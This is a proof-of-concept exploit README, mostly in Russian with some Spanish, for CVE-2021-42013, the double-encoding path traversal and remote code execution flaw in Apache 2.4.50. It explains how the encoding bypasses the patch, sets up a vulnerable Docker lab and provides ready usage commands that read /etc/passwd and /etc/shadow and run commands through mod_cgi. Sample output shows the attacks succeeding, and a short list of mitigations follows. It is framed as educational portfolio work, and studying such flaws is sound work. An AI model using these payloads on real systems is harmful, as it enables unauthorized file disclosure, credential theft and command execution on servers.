
Концептуальный эксплойт для CVE-2021-42013, демонстрирующий обход пути и удаленное выполнение кода на Apache 2.4.50 через двойное кодирование URL в обход патча для CVE-2021-41773.
Только для использования в контролируемых и собственных средах. Не использовать против систем без авторизации.
PoC разработана для демонстрации CVE-2021-42013, присутствующего в Apache HTTP Server 2.4.50.
Этот CVE является обходом патча, который Apache выпустил для CVE-2021-41773. Версия 2.4.50 попыталась исправить предыдущий обход пути, добавив проверку, которая отклоняла последовательности .%2e и %2e.. Однако эта проверка была недостаточной: она не учитывала, что тот же результат может быть достигнут с помощью двойного URL-кодирования, оставляя ту же поверхность атаки открытой.
| CVE-2021-41773 | CVE-2021-42013 |
|---|
| Затронутая версия | Apache 2.4.49 | Apache 2.4.50 |
| Используемое кодирование | .%2e/ | %%32%65%%32%65/ |
| Механизм | Одиночное кодирование | Двойное кодирование (обход патча) |
| Возможность RCE | Да (с mod_cgi) | Да (с mod_cgi) |
| Исправленная версия | 2.4.50 (неполный патч) | 2.4.51 |
Патч Apache 2.4.50 добавил проверку в ap_normalize_path(), которая буквально искала последовательности .%2e и %2e. в пути запроса. Если они находились, запрос отклонялся с кодом 400 или 403.
Проблема: эта проверка выполнялась над строкой до второго прохода декодирования URL. Если полезная нагрузка была дважды закодирована, проверка не находила запрещенную последовательность, потому что она еще не была декодирована — и когда она наконец декодировалась для разрешения пути файловой системы, ../ уже присутствовал, и обход происходил.
Payload: %%32%65%%32%65/
Validación 2.4.50 busca: .%2e → NO ENCUENTRA → deja pasar
Primera decodificación: %%32%65%%32%65/ → %2e%2e/
Segunda decodificación: %2e%2e/ → ../
Resultado: traversal exitoso
Настоящее исправление пришло в 2.4.51, где Apache переписал логику нормализации, чтобы полностью разрешить путь перед применением любых проверок безопасности.
%%32%65 — это дважды закодированное представление .:
. → %2e (encoding estándar)
% → %25 (encoding del símbolo %)
2 → %32 (encoding del carácter '2')
e → %65 (encoding del carácter 'e')
Таким образом, %2e с его закодированным % и закодированными шестнадцатеричными символами превращается в %%32%65.
Первое декодирование %%32%65 даёт %2e. Второе даёт ..
| Условие | Подробности |
|---|---|
| Версия Apache | Точно 2.4.50 |
| Директива доступа | Require all granted в открытом каталоге |
| Модуль CGI | mod_cgi включен (только для RCE) |
# Imagen de Apache 2.4.50 con configuración vulnerable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
Или вручную с Apache 2.4.50 и этой конфигурацией в httpd.conf:
LoadModule cgi_module modules/mod_cgi.so
<Directory />
Require all granted
</Directory>
<Directory "/var/www/cgi-bin">
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
</Directory>
Alias /traversal /var/www/html
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
| Аргумент | Обязательный | Описание |
|---|---|---|
--target | Да | Базовый URL сервера (напр.: http://localhost:8080) |
--mode | Да | traversal для чтения файлов, rce для выполнения команд |
--cmd | Нет | Команда для выполнения в режиме rce (по умолчанию: id) |
# Leer /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# Ejecutar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# Comando con espacios
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
============================================================
CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
Bypass del parche de CVE-2021-41773 via doble encoding
PoC con fines educativos — Solo en entornos propios
============================================================
[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...
[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
...
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 или выше.Require all denied в качестве значения по умолчанию.mod_cgi, если он не нужен.PoC разработана в образовательных целях для портфолио по атакующей безопасности.